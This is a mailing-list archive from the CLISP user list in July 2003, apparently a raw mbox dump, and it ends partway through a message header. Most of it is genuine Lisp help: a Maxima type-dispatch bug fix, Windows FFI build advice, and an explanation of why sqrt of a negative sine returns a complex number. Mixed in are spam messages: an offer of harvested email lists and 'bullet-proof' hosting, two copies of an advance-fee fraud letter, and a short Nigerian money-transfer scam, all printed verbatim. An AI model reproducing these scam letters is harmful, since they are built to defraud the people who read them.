<3F0FC92D.1090202@mail.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.4) Gecko/20030630 X-Accept-Language: ru-ru, ru MIME-Version: 1.0 To: Raymond Toy CC: Sam Halliday , maxima@mail.ma.utexas.edu, clisp-list@lists.sourceforge.net References: <20030710010547.7b25bf3e.fommil@yahoo.ie> <4n7k6qjxzy.fsf@edgedsp4.rtp.ericsson.se> In-Reply-To: <4n7k6qjxzy.fsf@edgedsp4.rtp.ericsson.se> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam: Not detected Subject: [clisp-list] Re: [Maxima] maxima breaks with CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jul 12 00:43:12 2003 X-Original-Date: Sat, 12 Jul 2003 11:39:09 +0300 Raymond Toy ?????: >>>>>>"Sam" == Sam Halliday writes: > > > > Sam> (C1) diff(sin(x),x); > Sam> (D1) COS(x) > > Sam> the result is as expected. if however, i use build maxima with clisp > Sam> CVS, i get this; > > Sam> (C1) diff(sin(x),x); > Sam> d > Sam> (D1) -- (SIN(x)) > Sam> dx > > This is caused by a recently discovered bug. CVS CMUCL also fails in > this way. > > Here is a potential solution. Just use the following replacement in > src/commac.lisp. > > Ray > > > > (defun maclisp-typep (x &optional type) > (cond (type > (lisp:let ((pred (get type 'ml-typep))) > (cond (pred > (funcall pred x)) > (t (typep x type))))) > (t > (typecase x > (cl:cons 'list) > (cl:fixnum 'fixnum) > (cl:integer 'bignum) > (cl:float 'flonum) > (cl:number 'number) > (cl:array 'array) > (cl:hash-table 'hash-table) > (t > (type-of x-type)))))) > Maxima passes all tests on CLISP CVS if I replace the last line by (type-of x)))))) Vadim -- Vadim V. Zhytnikov From alex.peake@comac.com Sun Jul 13 15:11:19 2003 Received: from [216.148.229.68] (helo=COLO-RPC.recovery.local) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19bp3t-000391-00 for ; Sun, 13 Jul 2003 15:11:17 -0700 Received: from exchange.comacint.com ([10.10.16.104]) by COLO-RPC.recovery.local with Microsoft SMTPSVC(5.0.2195.5329); Sun, 13 Jul 2003 15:10:21 -0700 Received: from functional ([66.124.255.58]) by exchange.comacint.com with Microsoft SMTPSVC(5.0.2195.5329); Sun, 13 Jul 2003 15:10:53 -0700 From: "Alex Peake" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-OriginalArrivalTime: 13 Jul 2003 22:10:53.0576 (UTC) FILETIME=[A055B880:01C3498B] Subject: [clisp-list] CLISP FFI and Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jul 13 15:12:06 2003 X-Original-Date: Sun, 13 Jul 2003 15:12:15 -0700 I have been reading the FFI part of the "impnotes". (Perhaps) naturally the examples of "executing" are UNIX based, which because I work in Windows are a bit "alien" to me. Does anyone have an example of building a simple call to a C function on the Windows platform (compiling, linking and such)? Is it possible to use a Dynamic Link Library (DLL)? Is it possible dynamically - the example seems to suggest (but I do not follow exactly) that static linking is necessay? What is Lisp.a? Thanks, Alex From lisp-clisp-list@m.gmane.org Sun Jul 13 17:39:26 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19brNE-000148-00 for ; Sun, 13 Jul 2003 17:39:24 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19brMK-0006hr-00 for ; Mon, 14 Jul 2003 02:38:28 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19brMI-0006ha-00 for ; Mon, 14 Jul 2003 02:38:26 +0200 From: Sam Steingold Organization: disorganization Lines: 27 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: CLISP FFI and Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jul 13 17:40:13 2003 X-Original-Date: 13 Jul 2003 20:39:21 -0400 > * In message > * On the subject of "CLISP FFI and Win32" > * Sent on Sun, 13 Jul 2003 15:12:15 -0700 > * Honorable "Alex Peake" writes: > > (Perhaps) naturally the examples of "executing" are UNIX based, which > because I work in Windows are a bit "alien" to me. get cygwin and build CLISP with $ ./configure --with-mingw --with-module=regexp you will get CLISP with a working module (and it will be a regular win32 executable without any run-time cygwin dependencies). then, just follow the UNIXy examples in the impnotes and you will be able to add modules of your own. I hope Jorg will offer you a piece of his wisdom -- read his excellent writeups (search mailing list archives). -- Sam Steingold (http://www.podval.org/~sds) running w2k Small languages require big programs, large languages enable small programs. From lin8080@freenet.de Mon Jul 14 13:15:23 2003 Received: from mout0.freenet.de ([194.97.50.131]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19c9jD-0001Eq-00 for ; Mon, 14 Jul 2003 13:15:19 -0700 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout0.freenet.de with asmtp (Exim 4.20) id 19c9j5-0001vD-HJ for clisp-list@lists.sourceforge.net; Mon, 14 Jul 2003 22:15:11 +0200 Received: from d39a3.pppool.de ([80.184.57.163] helo=freenet.de) by mx2.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.20 #1) id 19c9j4-0007By-Qx for clisp-list@lists.sourceforge.net; Mon, 14 Jul 2003 22:15:11 +0200 Message-ID: <3F130816.9A13ED62@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [clisp-list] reporting curious complex numbers appearance Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 14 13:16:08 2003 X-Original-Date: Mon, 14 Jul 2003 21:44:22 +0200 Hallo There is something going not so like I expect. I wrote a simple code (see below) to examine some numbers. It works well with floats and integers, (also shows the stack overflow when the numbers are to big, but I use small numbers, so this is no problem). Now, when I type in (rechne (sin 30)) it returns some numbers in the way like complex numbers are shown. And I think there is something going wrong ... Here is the code: (setq rechen (make-array '(9 3))) (print "Bitte eingeben (rechne xx) - xx steht für eine Zahl") ; this is: "please input (rechne xx) where xx is your number" (defun rechne (zahl) (setf x (* zahl zahl)) (setf (aref rechen 0 0) x) (setf y (sqrt zahl)) (setf (aref rechen 0 2) y) (setf (aref rechen 0 1) " ") (setf x1 (* x y)) (setf (aref rechen 1 0) x1) (setf y1 (/ x y)) (setf (aref rechen 1 2) y1) (setf (aref rechen 1 1) " ") (setf x2 (* x1 y1)) (setf (aref rechen 2 0) x2) (setf y2 (/ x1 y1)) (setf (aref rechen 2 2) y2) (setf (aref rechen 2 1) " ") .... (setf x8 (* x7 y7)) (setf (aref rechen 8 0) x8) (setf y8 (/ x7 y7)) (setf (aref rechen 8 2) y8) (setf (aref rechen 8 1) " ") (print rechen) ) The input is: (rechne (sin 30)) The output looks like this: #2A((0.9762065 " " #C(0 0.993997 (#C(0 0.9703471) " " #C(0 -0 (0.9529791 " " -0.9880316) .... Please check it out on other systems (mine is win98 on P133-128MB) and when it is like an error please correct it. so long stefan From lisp-clisp-list@m.gmane.org Mon Jul 14 13:33:13 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19cA0V-0007GY-00 for ; Mon, 14 Jul 2003 13:33:11 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19c9zY-0001bU-00 for ; Mon, 14 Jul 2003 22:32:12 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19c9zV-0001ax-00 for ; Mon, 14 Jul 2003 22:32:09 +0200 From: Sam Steingold Organization: disorganization Lines: 3 Message-ID: References: <3F130816.9A13ED62@freenet.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: reporting curious complex numbers appearance Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 14 13:34:03 2003 X-Original-Date: 14 Jul 2003 16:33:05 -0400 1. what is CLISP version? 2. what is the output you expect? 3. what is the precise code you tried (no "...." please). From kaz@footprints.net Mon Jul 14 14:24:57 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19cAo7-0006a2-00 for ; Mon, 14 Jul 2003 14:24:27 -0700 Received: from ashi.footprints.net ([204.239.179.1]:2818) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19cAMN-0000u2-GH for ; Mon, 14 Jul 2003 13:55:47 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 19cAHI-0006bX-00; Mon, 14 Jul 2003 13:50:32 -0700 From: Kaz Kylheku To: lin8080 cc: clisp-list@lists.sourceforge.net In-Reply-To: <3F130816.9A13ED62@freenet.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-EA-Verified: externalmx.vasoftware.com 19cAMN-0000u2-GH 8ddffff3fa70ca0d053367d76aa7d142 X-Spam-Score: -2.0 Subject: [clisp-list] Re: reporting curious complex numbers appearance Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 14 14:25:34 2003 X-Original-Date: Mon, 14 Jul 2003 13:50:32 -0700 (PDT) On Mon, 14 Jul 2003, lin8080 wrote: > Now, when I type in (rechne (sin 30)) it returns some numbers in the way > like complex numbers are shown. And I think there is something going > wrong ... The input to the trigonometric functions in Lisp, and many other programming languages, is expressed in radians, rather than degrees. It is an instant ``red flag'' when someone is trying to take the sine of 30 in a programming example that doesn't work. :) Radians are units based on the idea that the radius of a circle represents one unit going around the circle. Hence there are (* 2 pi) radians to 360 degrees, and 30 degrees is (/ pi 6) radians or about 0.524. The reason some numbers coming out of your program are shown in complex notation is because they really *are* complex. The value of (sin 30) is approx -0.988. The square root of that is a negative number. In some programming languages, taking the square root of a negative number triggers an error. Lisp is different and better; it produces a complex number. This is one of the advantages of dynamic typing. Dynamic typing allows a function to compute an object whose type is based on the properties of its inputs; the restriction that a function must have a rigid, compile-time ``return type'' is not imposed. > Here is the code: > > (setq rechen (make-array '(9 3))) This works as casual use in CLISP and other Lisp implementations, but in serious Lisp programs you should use DEFVAR, DEFPARAMETER for defining global variables. It's not well-defined behavior to SETQ or SETF a symbol which has no previously defined variable binding. Also, unless you are working in your own package it's probably a good idea to name global variables with a leading and trailing asterisk: (defvar *rechen* (make-array '(9 3))) Use LET for local variables: (let ((x (* zahl zahl))) (setf (aref *rechen* 0 1) x)) But this really isn't any clearer than: (setf (aref *rechen 0 1) (* zahl zahl)) From lin8080@freenet.de Wed Jul 16 23:52:35 2003 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19d2cz-0006Ws-00 for ; Wed, 16 Jul 2003 23:52:33 -0700 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with asmtp (Exim 4.20) id 19d2cw-0005r3-Cg for clisp-list@lists.sourceforge.net; Thu, 17 Jul 2003 08:52:30 +0200 Received: from b7804.pppool.de ([213.7.120.4] helo=freenet.de) by mx2.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.20 #1) id 19d2cv-0008My-Ar for clisp-list@lists.sourceforge.net; Thu, 17 Jul 2003 08:52:29 +0200 Message-ID: <3F16481E.8296D404@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: reporting curious complex numbers appearance Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 16 23:53:11 2003 X-Original-Date: Thu, 17 Jul 2003 08:54:22 +0200 Kaz Kylheku schrieb: > On Mon, 14 Jul 2003, lin8080 wrote: > > Now, when I type in (rechne (sin 30)) it returns some numbers in the way > > like complex numbers are shown. And I think there is something going > > wrong ... > Radians are units based on the idea that the radius of a circle > represents one unit going around the circle. Hence there are (* 2 pi) > radians to 360 degrees, and 30 degrees is (/ pi 6) radians or > about 0.524. Yes, I know. I normaly use 57.3 to transform Grad in Radians. (x[rad] = x * 57.3 [grad], y[grad] = y / 57.3 [rad]). Doing so, I get other results (sin (/ 30 57.3)) vs (sin 30). > The reason some numbers coming out of your program are shown in complex > notation is because they really *are* complex. The value of (sin 30) is > approx -0.988. The square root of that is a negative number. This is what HyperSpec says in section SQRT, ISQRT (file /body/fun_sqrtcm_isqrt.html.) "... if the number is not a complex but is negative, then the result is a complex" (12.1. ff). This case seems to be clear. The mathematicans also say that a negativ sqrt is complex (right?), but the same mathematicans say that (sqrt) is the reverse function of (* zahl zahl) (which will returned only positiv numbers) and they also describe for what kind of numbers this is valid. The practical reason why there is +,- in trigononic functions, is to say where the point of the graph is in the xy-system. And for that no complex is needed, only 2 values. So the question should be: is there a way to suppress the complex number representation in negative trigonomic values, when a sqrt is involved? > In some programming languages, taking the square root of a negative > number triggers an error. Lisp is different and better; it produces a > complex number. This is one of the advantages of dynamic typing. Yes, right. I also see simple 0 instead of an error (some small scheme-lisps). > > (setq rechen (make-array '(9 3))) > This works as casual use in CLISP and other Lisp implementations, but > in serious Lisp programs you should use DEFVAR, DEFPARAMETER for > defining global variables. > It's not well-defined behavior to SETQ or SETF a symbol which has no > previously defined variable binding. Oh, this is more like my privat convention. For variables/symbols that will not change I use the old SETQ. The rest is SETF. And don't worry, this code will not find a way into a package. It is only a quick hack to see a series of digits is equal or not. The file names "zahl5.lsp" and is executed as needed with (load ".."). Only when playing around I realised the complex representation in trigonomic functions and I reported this, because it makes me wonder how to interpret complex (sin x) values and while there is a similar mail with maxima (sin x) here. stefan From pascal@afaa.asso.fr Thu Jul 17 07:24:46 2003 Received: from hermes.afaa.asso.fr ([195.114.85.131] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19d9gZ-0000xT-00 for ; Thu, 17 Jul 2003 07:24:43 -0700 Received: by hermes.afaa.asso.fr (Email Server, from userid 8) id D1238200F; Thu, 17 Jul 2003 16:24:35 +0200 (CEST) Cc: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed From: Pascal Bourguignon In-Reply-To: <3F16481E.8296D404@freenet.de> Message-ID: <3F16B197.3060304@afaa.asso.fr> MIME-Version: 1.0 Received: from afaa.asso.fr (sirius.intra.afaa.asso.fr [10.0.0.215]) by hermes.afaa.asso.fr (AvMailGate-6.13.0.1) id 11154-079BD45F; Thu, 17 Jul 2003 16:24:23 +0200 References: <3F16481E.8296D404@freenet.de> Subject: Re: [clisp-list] Re: reporting curious complex numbers appearance To: lin8080 User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en, fr, es, de, pt X-AntiVirus: OK! AvMailGate Version 6.13.0.26 at hermes.afaa.asso.fr has not found any known virus in this email. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 17 07:26:31 2003 X-Original-Date: Thu, 17 Jul 2003 16:24:23 +0200 lin8080 wrote: > >Kaz Kylheku schrieb: > > > >This is what HyperSpec says in section SQRT, ISQRT (file >/body/fun_sqrtcm_isqrt.html.) "... if the number is not a complex but is >negative, then the result is a complex" (12.1. ff). This case seems to >be clear. > >The mathematicans also say that a negativ sqrt is complex (right?), but >the same mathematicans say that (sqrt) is the reverse function of (* >zahl zahl) (which will returned only positiv numbers) and they also >describe for what kind of numbers this is valid. > You have to take into account the domain of the function. To take the reverse function, you must consider the function only on a sub-domain where it's a bijection. For example, if you consider: f : ]-infinity, 0] ------> [0, +infinity[ x |------> x*x then the reverse is: f^-1 : [0, +infinity[ -----> ]-infinity, 0] x |-----> - sqrt(x) Note that this other function: g : [0, +infinity[ ------> [0, +infinity[ x |------> x*x which looks a lot like f, has not the same reverse function! And of course, a function square : R --> R, x |--> x*x is not a bijection, so it has no reverse. So you see, you cannot expect the operators implemented in Lisp to correspond to the mathematical function you're manipulating. In maths, there are a lot of square root function, all defined on a different domain, and with a different image set. In computer languages we choose to implement one specific function, with a domain and image set considered useful. Since Lisp knows about complex, it naturally defines sqrt over the complexes and returns a complex (unless the imaginary part is null, in which case it's a real). > > >The practical reason why there is +,- in trigononic functions, is to say >where the point of the graph is in the xy-system. And for that no >complex is needed, only 2 values. > >So the question should be: is there a way to suppress the complex number >representation in negative trigonomic values, when a sqrt is involved? > Yes, define properly your functions, and implement them accordingly. (defun my-square-over-R-plus (x) (assert (and (realp x) (<= 0 x))) (* x x)) (defun my-square-root-over-R-plus (x) (assert (and (realp x) (<= 0 x))) (sqrt x)) -- __Pascal Bourguignon__ mailto:pascal@afaa.asso.fr mailto:pjb@informatimago.com From Promote@freemail.soim.com Fri Jul 18 00:50:16 2003 Received: from [218.6.22.50] (helo=freemail.soim.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19dQ0N-0004mh-00 for ; Fri, 18 Jul 2003 00:50:15 -0700 From: "Alan" To: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Reply-To: "Alan" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Promote Your Customers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 18 00:51:06 2003 X-Original-Date: Fri, 18 Jul 2003 15:51:01 +0800 E-mail Marketing is one of the most effective and inexpensive ways to promote your products and services. We offer a complete E-mail Marketing solution with quality service and the lowest prices. The result is that you will enjoy more success. 1. Targeted E-mail Addresses We can supply targeted e-mail addresses according to your requirements, which are compiled only on your order, such as region / country / field / occupation / Domain Name etc. We will customize your customer e-mail addresses. * We have millions of e-mail addresses in a wide variety of categories. 2. Targeted Mailing If you are worried about any complications or consequences with sending out targeted e-mails, or want to avoid the work of sending out targeted e-mails. We will do it for you! We will send your e-mail message to your targeted customers. * We can Bullet-Proof your Web Site. We also offer a wide variety of e-mail marketing software. For more details, you can refer to our web site: http://www.lead-host.com Our services will help you get more business opportunities. Regards! Mr Alan Customer Support www.lead-host.com E-mail Marketing, at Great Fees. ************************************************************************ Receiving this email because you registered to receive special offers from one of our partners. If you would prefer not to receive future e-mail, Click here: www.unsubscribe-mail.com/index.html ************************************************************************ From ddy9k2000@netscape.net Sat Jul 19 17:34:19 2003 Received: from cm31376-a.maast1.lb.home.nl ([217.120.76.180] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19e29Y-0007AT-00 for ; Sat, 19 Jul 2003 17:34:16 -0700 From: "ddy9k2000@netscape.net" To:clisp-list@sourceforge.net MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] Cry for assistance Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jul 19 17:35:05 2003 X-Original-Date: zo, 20 jul 2003 02:33:33 Dear friend, You may be surprised to receive this letter from me since you do not know me personally. I am the first son of the most popular black farmer in Zimbabwe who was murdered in the land dispute in my country. I got your contact through network online hence decided to write you. Before the death of my father, he had taken me to Johannesburg to deposit the sum of USD5.Million (Five million United States dollars), in one of the private security company, as he foresaw the looming danger in Zimbabwe. This money was deposited in a box as gem stones to avoid much demurrage from Security Company. This amount was meant for the purchase of new machines and chemicals for the Farms and establishment of new farms in Swaziland. This land problem came when Zimbabwean President Mr. Robert Mugabe when he introduced a new Land Act Reform wholly affecting the rich white farmers and some few black farmers, and this resulted to the killing and mob action by Zimbabwean war veterans and some lunatics in the society. In fact a lot of people were killed because of this Land reform Act for which my father was one of the victims. it is against this background that I and my family fled Zimbabwe to South Africa for fear of our lives. After which I traveled to the Netherlands and I am currently staying in the Netherlands where i am seeking political asylum and more so have decided to transfer my father's money to a more reliable foreign account. Since the law of Europe prohibits a refugee (asylum seeker) to open any bank account or to be involved in any financial transaction throughout the territorial zone of European Union. As the eldest child of my father, I am saddled with the responsibility of seeking a genuine foreign account where this money could be transferred without the knowledge of my government who are bent on taking everything we have got. The South African government seems to be playing along with them. I am faced with the dilemma of moving this amount of money out of South Africa for fear of going through the same experience in future. Both countries have similar political history. I am seeking for a partner who I have to entrust my future and that of my family in his hands, I must let you know that this transaction is risk free. If you accept to assist me and my family, all I want you to do for me, is to make arrangements with the security company to clear the Consignment (funds) from their affiliate office here in the Netherlands as i have already given directives for the consignment to be brought to the Netherlands from South Africa. But before then all modalities will have to be put in place like change of ownership to the consignment. I have two options for you. Firstly you can choose to have certain percentage of the money for nominating your account for this transaction. Or you can go into partnership with me for the proper profitable investment of the money in your country. Whichever the option you want, feel free to notify me. I have also mapped out 2% of this money for all kinds of expenses incurred in the process of this transaction. If you do not prefer a partnership I am willing to give you 10% of the money while the remaining 88% will be for my investment in your country. Contact with me immediately while I implore you to maintain the absolute secrecy required in this transaction. Thanks, GOD BLESS YOU Best regards, NOTE: ON YOUR INABILITY TO HANDLE THIS TRANSACTION RESPOND TO ME AND INFORM ME SO I CAN LOOK FOR SOMEONE ELSE. From ddy9k2000@netscape.net Sat Jul 19 18:13:25 2003 Received: from cm31376-a.maast1.lb.home.nl ([217.120.76.180] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19e2lP-00070i-00 for ; Sat, 19 Jul 2003 18:13:24 -0700 From: "ddy9k2000@netscape.net" To:clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] Cry for assistance Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jul 19 18:14:04 2003 X-Original-Date: zo, 20 jul 2003 03:12:44 Dear friend, You may be surprised to receive this letter from me since you do not know me personally. I am the first son of the most popular black farmer in Zimbabwe who was murdered in the land dispute in my country. I got your contact through network online hence decided to write you. Before the death of my father, he had taken me to Johannesburg to deposit the sum of USD5.Million (Five million United States dollars), in one of the private security company, as he foresaw the looming danger in Zimbabwe. This money was deposited in a box as gem stones to avoid much demurrage from Security Company. This amount was meant for the purchase of new machines and chemicals for the Farms and establishment of new farms in Swaziland. This land problem came when Zimbabwean President Mr. Robert Mugabe when he introduced a new Land Act Reform wholly affecting the rich white farmers and some few black farmers, and this resulted to the killing and mob action by Zimbabwean war veterans and some lunatics in the society. In fact a lot of people were killed because of this Land reform Act for which my father was one of the victims. it is against this background that I and my family fled Zimbabwe to South Africa for fear of our lives. After which I traveled to the Netherlands and I am currently staying in the Netherlands where i am seeking political asylum and more so have decided to transfer my father's money to a more reliable foreign account. Since the law of Europe prohibits a refugee (asylum seeker) to open any bank account or to be involved in any financial transaction throughout the territorial zone of European Union. As the eldest child of my father, I am saddled with the responsibility of seeking a genuine foreign account where this money could be transferred without the knowledge of my government who are bent on taking everything we have got. The South African government seems to be playing along with them. I am faced with the dilemma of moving this amount of money out of South Africa for fear of going through the same experience in future. Both countries have similar political history. I am seeking for a partner who I have to entrust my future and that of my family in his hands, I must let you know that this transaction is risk free. If you accept to assist me and my family, all I want you to do for me, is to make arrangements with the security company to clear the Consignment (funds) from their affiliate office here in the Netherlands as i have already given directives for the consignment to be brought to the Netherlands from South Africa. But before then all modalities will have to be put in place like change of ownership to the consignment. I have two options for you. Firstly you can choose to have certain percentage of the money for nominating your account for this transaction. Or you can go into partnership with me for the proper profitable investment of the money in your country. Whichever the option you want, feel free to notify me. I have also mapped out 2% of this money for all kinds of expenses incurred in the process of this transaction. If you do not prefer a partnership I am willing to give you 10% of the money while the remaining 88% will be for my investment in your country. Contact with me immediately while I implore you to maintain the absolute secrecy required in this transaction. Thanks, GOD BLESS YOU Best regards, NOTE: ON YOUR INABILITY TO HANDLE THIS TRANSACTION RESPOND TO ME AND INFORM ME SO I CAN LOOK FOR SOMEONE ELSE. From aliahmed@ecplaza.net Mon Jul 21 22:09:01 2003 Received: from 212-165-141-31.reverse.newskies.net ([212.165.141.31] helo=cc26) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19epOU-0003Rh-00 for ; Mon, 21 Jul 2003 22:09:01 -0700 From: aliahmed@ecplaza.net To: clisp-list@lists.sourceforge.net Content-Type: text/plain;;;;;;;;;;;;;;;;;;;; Reply-To: aliahmed@ecplaza.net X-Priority: 3 X-Library: Indy 8.0.25 Message-Id: Subject: [clisp-list] HELLO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 21 22:09:41 2003 X-Original-Date: Tue, 22 Jul 2003 06:08:56 +0100 DR ALI AHMED. LAGOS, NIGERIA. A very good day to you. We have an immediate business proposal that involvesUS$ 21.320.000.00 (Twenty-one Million Three Hundred and Twenty ThousandUnited States Dollars) which we will like to invest under your custody. Once I receive a message from you notifying me of your interest,the details of the transaction/the terms and condition of sharing regarding the business would then be brought to your knowledge. Your urgent response will be highly appreciated and will swiftly bring us to the commencement of the transaction. We hope to conclude this transaction within 10-12 working days.Do not forget to contact me on the receipt of this e-mail address.And please you have to maintain absolute confidentiality as regards this pending transaction. I urgently await your response. Best Regards, DR ALI AHMED. From toy@rtp.ericsson.se Thu Jul 24 11:15:45 2003 Received: from imr1.ericy.com ([208.237.135.240]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 